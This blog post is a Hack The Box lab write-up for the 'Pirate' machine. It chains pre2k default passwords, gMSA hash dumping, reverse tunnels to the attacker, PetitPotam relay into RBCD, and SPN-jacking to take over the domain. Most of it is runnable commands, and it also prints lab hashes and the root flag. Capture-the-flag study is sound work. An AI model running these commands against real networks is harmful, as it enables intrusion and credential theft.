Hackthebox: Pirate

Foued SAIDI Lv5

Overview

Pirate is a hard-difficulty Windows machine from Hack The Box that is a full-on Active Directory grind. We start with a set of low-priv credentials (pentest:p3nt3st2025!&), hunt the domain for pre2k machine accounts and log in as MS01$ using its default (lowercase machine name) password. From there we abuse gMSA password reads to recover the NT hashes of gMSA_ADCS_prod$ and gMSA_ADFS_prod$, WinRM onto DC01 as one of them, and discover that the box is a Hyper-V host hiding an internal 192.168.100.0/24 network with a second machine WEB01. We pivot in with chisel/ligolo, coerce WEB01$ with PetitPotam and relay that authentication to LDAPS with ntlmrelayx --delegate-access to configure RBCD, then S4U2Self + S4U2Proxy our way to Administrator on WEB01. On WEB01 we lsadump::secrets / DPAPI our way to a.white‘s password, ForceChangePassword on a.white_adm, and finally abuse that account’s WriteSPN rights over DC01$ (SPN-jacking with -altservice CIFS/DC01) to fully compromise the domain. The whole box is one long clock-skew battle, so ntpdate is our best friend.

Pirate
Pirate

We are handed a starting set of credentials for this box:

1
pentest / p3nt3st2025!&

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-03 14:59:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-03T15:01:01+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after: 2026-06-09T14:05:15
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Running (JUST GUESSING): Microsoft Windows 2019|10 (95%)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s

This is a textbook domain controller: DNS, Kerberos, LDAP/LDAPS/GC, SMB and WinRM all open, with the certificate telling us the host is DC01.pirate.htb. Two things I want you to burn into memory before we go any further: the domain is pirate.htb, and there’s a +7h00m01s clock skew. That second one is not a footnote — a seven-hour skew will happily nuke every single Kerberos operation we attempt with a clock error, and I promise you’ll forget about it exactly once and waste ten minutes wondering why your ticket request is failing. So we’ll be slapping an ntpdate in front of basically every command from here on. Let’s add pirate.htb and dc01.pirate.htb to our /etc/hosts file and get going with the creds we were given.

Hunting pre2k Machine Accounts

With a valid domain user we can start looking for weak spots. A classic one on these AD boxes is pre-Windows 2000 (pre2k) computer accounts: machine accounts that were pre-staged but never actually joined a host, which means their password is still the default — the lowercase machine name. We can find them with an LDAP filter targeting userAccountControl=4128 (WORKSTATION_TRUST_ACCOUNT + PASSWD_NOTREQD) combined with logonCount=0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ldapsearch -x -H ldap://dc01.pirate.htb -D "[email protected]" -w 'p3nt3st2025!&' -b "DC=pirate,DC=htb" "(&(objectClass=computer)(userAccountControl=4128)(logonCount=0))" samAccountName
# extended LDIF
#
# LDAPv3
# base <DC=pirate,DC=htb> with scope subtree
# filter: (&(objectClass=computer)(userAccountControl=4128)(logonCount=0))
# requesting: samAccountName
#

# MS01, Computers, pirate.htb
dn: CN=MS01,CN=Computers,DC=pirate,DC=htb
sAMAccountName: MS01$

# EXCH01, Computers, pirate.htb
dn: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
sAMAccountName: EXCH01$

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 2

Two candidates: MS01$ and EXCH01$. Because these accounts have never logged on, their password should still be the machine name in lowercase — so MS01$ should have the password ms01. Let’s grab a TGT for it with impacket’s getTGT.py. Note the ntpdate in front to fix that seven-hour skew first, otherwise Kerberos will reject us with a clock error:

1
2
3
4
5
6
7
8
$ sudo ntpdate pirate.htb; getTGT.py 'PIRATE.HTB/MS01$:ms01'
2026-03-03 10:10:46.328081 (-0500) +25200.298734 +/- 0.133345 pirate.htb 10.129.8.109 s1 no-leap
CLOCK: time stepped by 25200.298734
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in MS01$.ccache

$ export KRB5CCNAME=MS01\$.ccache

The default password worked, and we now hold a Kerberos ticket for MS01$.

Reading gMSA Passwords

MS01$ is a machine account, which is more useful than it looks. On this domain there are two Group Managed Service AccountsgMSA_ADCS_prod$ and gMSA_ADFS_prod$ — and whoever sits in the Domain Secure Servers group is allowed to read their managed password blobs (msDS-ManagedPassword). It turns out our MS01$ context can read them, so we point gMSADumper at the DC (again syncing time first, and using -k to authenticate with the ticket we just cached):

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo ntpdate 10.129.8.109 && python3 gMSADumper/gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k
2026-03-03 10:21:37.176239 (-0500) +25200.361798 +/- 0.110736 10.129.8.109 s1 no-leap
CLOCK: time stepped by 25200.361798
Users or groups who can read password for gMSA_ADCS_prod$:
> Domain Secure Servers
gMSA_ADCS_prod$:::304106f739822ea2ad8ebe23f802d078
gMSA_ADCS_prod$:aes256-cts-hmac-sha1-96:4b663e093cdb8283541c5c40068022668fbd92681eb4433d2ec0ccfc0607298d
gMSA_ADCS_prod$:aes128-cts-hmac-sha1-96:3727b5300502b7a4a8de0f429299b942
Users or groups who can read password for gMSA_ADFS_prod$:
> Domain Secure Servers
gMSA_ADFS_prod$:::8126756fb2e69697bfcb04816e685839
gMSA_ADFS_prod$:aes256-cts-hmac-sha1-96:8c689efdec9f1b8554b1eb1b631ea311db74453427d1273369e6268bcd742e6c
gMSA_ADFS_prod$:aes128-cts-hmac-sha1-96:74ec76de3c9bf2e77d42ecc9aaa1096c

Two NT hashes fall right out:

1
2
gMSA_ADCS_prod$ : 304106f739822ea2ad8ebe23f802d078
gMSA_ADFS_prod$ : 8126756fb2e69697bfcb04816e685839

Foothold - WinRM as gMSA_ADCS_prod$

gMSA_ADCS_prod$ is allowed to log in over WinRM, so we can pass its NT hash straight to evil-winrm and land a shell on the DC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ evil-winrm -i 10.129.8.109 -u 'gMSA_ADCS_prod$' -H 304106f739822ea2ad8ebe23f802d078

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents> ipconfig

Windows IP Configuration


Ethernet adapter vEthernet (Switch01):

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
IPv4 Address. . . . . . . . . . . : 192.168.100.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.8.109
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1

Look at that ipconfig output carefully — there’s a second vEthernet (Switch01) interface on 192.168.100.1. This box is a Hyper-V host, and there’s an internal 192.168.100.0/24 network we can’t reach directly. A quick ping confirms a neighbour lives there:

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\desktop> ping web01

Pinging web01.pirate.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.100.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

So WEB01 is sitting at 192.168.100.2 on the internal network. That’s our next target, but first we need a way to reach it.

Pivoting into 192.168.100.0/24

Two enumeration facts matter here: LDAP signing is not enforced on DC01, and WEB01 is vulnerable to authentication coercion. That combination screams NTLM relay + RBCD, but to pull it off we need to be able to talk to WEB01 and have WEB01 talk back to us. Time to build a tunnel.

The quick way is a reverse SOCKS proxy with chisel. On our attacker box we run the server:

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ ./chisel server --reverse --port 9000
2026/03/03 04:48:49 server: Reverse tunnelling enabled
2026/03/03 04:48:49 server: Fingerprint GQPWmPqGYL8HGtctRFmZw74dQOIeVUvTfkvISIUCc78=
2026/03/03 04:48:49 server: Listening on http://0.0.0.0:9000
2026/03/03 04:48:53 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

And on DC01 (our WinRM session) we connect back and expose a SOCKS5 listener:

1
2
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\desktop> .\chisel.exe client 10.10.16.203:9000 R:1080:socks
2026/03/03 09:10:40 client: Connected (Latency 310.7311ms)

That works, but for the relay chain the friction of proxying everything through SOCKS gets old fast, so I prefer ligolo-ng, which gives us a real tun interface and lets tools like ntlmrelayx and PetitPotam talk to 192.168.100.0/24 as if it were routable. Set up the interface and route on our side:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ sudo ip tuntap add user kali mode tun ligolo
┌──(kali㉿kali)-[~]
└─$ sudo ip link set ligolo up
┌──(kali㉿kali)-[~]
└─$ sudo ip route add 192.168.100.0/24 dev ligolo

┌──(kali㉿kali)-[~]
└─$ /home/kali/Downloads/ligolo-ng_proxy_0.8.2_linux_amd64/proxy -selfcert -laddr 0.0.0.0:11601
INFO[0000] Listening on 0.0.0.0:11601
ligolo-ng » INFO[0020] Agent joined. id=00155d0bd000 name="PIRATE\\gMSA_ADCS_prod$@DC01" remote="10.129.6.31:58218"
ligolo-ng » session
? Specify a session : 1 - PIRATE\gMSA_ADCS_prod$@DC01 - 10.129.6.31:58218 - 00155d0bd000
[Agent : PIRATE\gMSA_ADCS_prod$@DC01] » start
INFO[0033] Starting tunnel to PIRATE\gMSA_ADCS_prod$@DC01 (00155d0bd000)

And drop the agent on DC01, pointing it back at our ligolo proxy:

1
2
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents> ./agent.exe -connect 10.10.16.172:11601 -ignore-cert
time="2026-03-04T09:12:04-08:00" level=info msg="Connection established" addr="10.10.16.172:11601"

With start issued, the 192.168.100.0/24 subnet is now routed through the tunnel and we can reach WEB01 at 192.168.100.2 directly.

Coercion + NTLM Relay for RBCD

Now the fun part. The plan:

  1. Coerce WEB01$ into authenticating to us using PetitPotam (the EfsRpcEncryptFileSrv MS-EFSRPC function, which is typically left unpatched).
  2. Relay that machine authentication to LDAPS on the DC with ntlmrelayx --delegate-access, which writes Resource-Based Constrained Delegation onto WEB01$ allowing our controlled MS01$ to impersonate anyone against it.
  3. Use S4U2Self + S4U2Proxy as MS01$ to get an Administrator service ticket for WEB01.

First, fire up the relay listener. We target LDAPS on the DC, tell it to configure delegation, and set the escalate user to MS01$ (the account whose password we control):

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ ntlmrelayx.py -t ldaps://10.129.8.109 --delegate-access --escalate-user 'MS01$' --remove-mic -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connections

Then, in another terminal, coerce WEB01$ with PetitPotam. We authenticate as gMSA_ADFS_prod$ (using its NT hash), tell WEB01 (192.168.100.2) to authenticate back to our listener:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python3 PetitPotam.py \ 
-u 'gMSA_ADFS_prod$' \
-hashes :8126756fb2e69697bfcb04816e685839 \
-d pirate.htb \
10.10.17.36 \
192.168.100.2

Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.2[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Back on the relay side, the coerced authentication lands and RBCD is configured in one shot:

1
2
3
4
5
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.129.8.109, attacking target ldaps://10.129.8.109
[*] Authenticating against ldaps://10.129.8.109 as PIRATE/WEB01$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Delegation rights modified succesfully!
[*] MS01$ can now impersonate users on WEB01$ via S4U2Proxy

MS01$ can now impersonate any user against WEB01$.

Administrator on WEB01

With delegation in place, we use getST.py to request a service ticket for WEB01 while impersonating Administrator. This is exactly where the clock skew warning from earlier comes back to bite — if your time is off by those seven hours, S4U2Self will just die on you. The trick I settled on is to chain everything into a single one-liner: ntpdate to fix the clock, getST.py to mint the ticket, and evil-winrm to jump in immediately, all before the clock has a chance to drift back out. Here we grab an HTTP/WEB01.pirate.htb ticket and go straight into WinRM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~]
└─$ sudo ntpdate 10.129.6.31 && getST.py -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.6.31 'pirate.htb/MS01$:ms01' && export KRB5CCNAME=Administrator.ccache && evil-winrm -i WEB01.pirate.htb -r pirate.htb
2026-03-05 02:17:39.874210 (+0900) +25200.084758 +/- 0.125250 10.129.6.31 s1 no-leap
CLOCK: time stepped by 25200.084758
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator.PIRATE\Documents>

We’re now Administrator on WEB01 and can grab the user flag from the desktop.

Looting WEB01 - a.white

Being local admin on WEB01, the natural next move is to go looting for stored credentials. Dumping LSA secrets with lsadump::secrets and digging through the DPAPI-protected creds on the box eventually hands us the cleartext password for the domain user a.white — this part is the classic “poke every credential store until something falls out” phase, so don’t expect a single magic command. Either way, a.white is our ticket into the account-abuse portion of the box.

From here the path to full domain admin is a two-step ACL chain:

  • a.white has ForceChangePassword rights over a.white_adm, so we can reset that admin account’s password to something we know.
  • a.white_adm is configured for constrained delegation to HTTP/WEB01.pirate.htb and holds WriteSPN over both DC01$ and WEB01$ — which is exactly the primitive needed for an SPN-jacking attack against the DC.

First, reset a.white_adm‘s password using a.white‘s credentials (any tool that can do a targeted password reset works here — net rpc password, bloodyAD, pth-net, etc.), giving us:

1
a.white_adm / kujenPassword123!

Privilege Escalation - SPN-jacking to Domain Admin

Now for the crown. a.white_adm can delegate to HTTP/WEB01.pirate.htb, but that only gives us WEB01. The trick is to abuse the WriteSPN right to move that SPN onto the DC’s machine account, so the same delegation ticket becomes valid against DC01. This is classic SPN-jacking with addspn, then a getST using -altservice to rewrite the target service inside the ticket.

First, clear the existing SPN off WEB01$:

1
addspn <DC-IP> -u 'pirate.htb\a.white_adm' -p 'kujenPassword123!' --clear -t 'WEB01$' -dc-ip <DC-IP>

Then attach the HTTP/WEB01.pirate.htb SPN to DC01$ instead:

1
addspn <DC-IP> -u 'pirate.htb\a.white_adm' -p 'kujenPassword123!' --spn 'HTTP/WEB01.pirate.htb' -t 'DC01$' -dc-ip <DC-IP>

Finally, request a service ticket impersonating Administrator for the SPN we control, but use -altservice CIFS/DC01.pirate.htb so the resulting ticket is valid for SMB against the domain controller itself:

1
getST.py pirate.htb/a.white_adm:'kujenPassword123!' -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip <DC-IP> -altservice CIFS/DC01.pirate.htb

That hands us an Administrator.ccache valid for CIFS/DC01.pirate.htb, which is effectively domain admin. Load it up and connect to DC01 as Administrator to read the root flag:

1
2
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
1b6c585f1460e218e79a6bbbd4d33c3c

And that wraps up Pirate — a proper hard-box AD marathon: pre2k default passwords, gMSA password reads, a Hyper-V pivot into a hidden subnet, PetitPotam coercion relayed into RBCD, S4U delegation abuse, LSA/DPAPI looting, a forced password reset, and finally SPN-jacking the DC for full domain compromise — all while fighting a seven-hour clock skew every step of the way. Hope you learned something new!

-0xkujen

  • Title: Hackthebox: Pirate
  • Author: Foued SAIDI
  • Created at : 2026-09-09 20:20:00
  • Updated at : 2026-09-09 22:24:42
  • Link: https://kujen5.github.io/2026/09/09/Hackthebox-Pirate/
  • License: This work is licensed under CC BY-NC-SA 4.0.